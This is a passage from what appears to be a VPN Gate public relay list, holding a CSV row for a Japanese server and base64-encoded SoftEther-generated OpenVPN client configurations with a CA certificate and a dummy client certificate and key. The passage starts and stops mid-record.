VZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +public-vpn-37,219.100.37.1,1492711,10,225742496,Japan,JP,117,5448079367,14824106,914572520068757,2weeks,Daiyuu Nobori_ Japan. Academic Use Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjEgNDQzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNk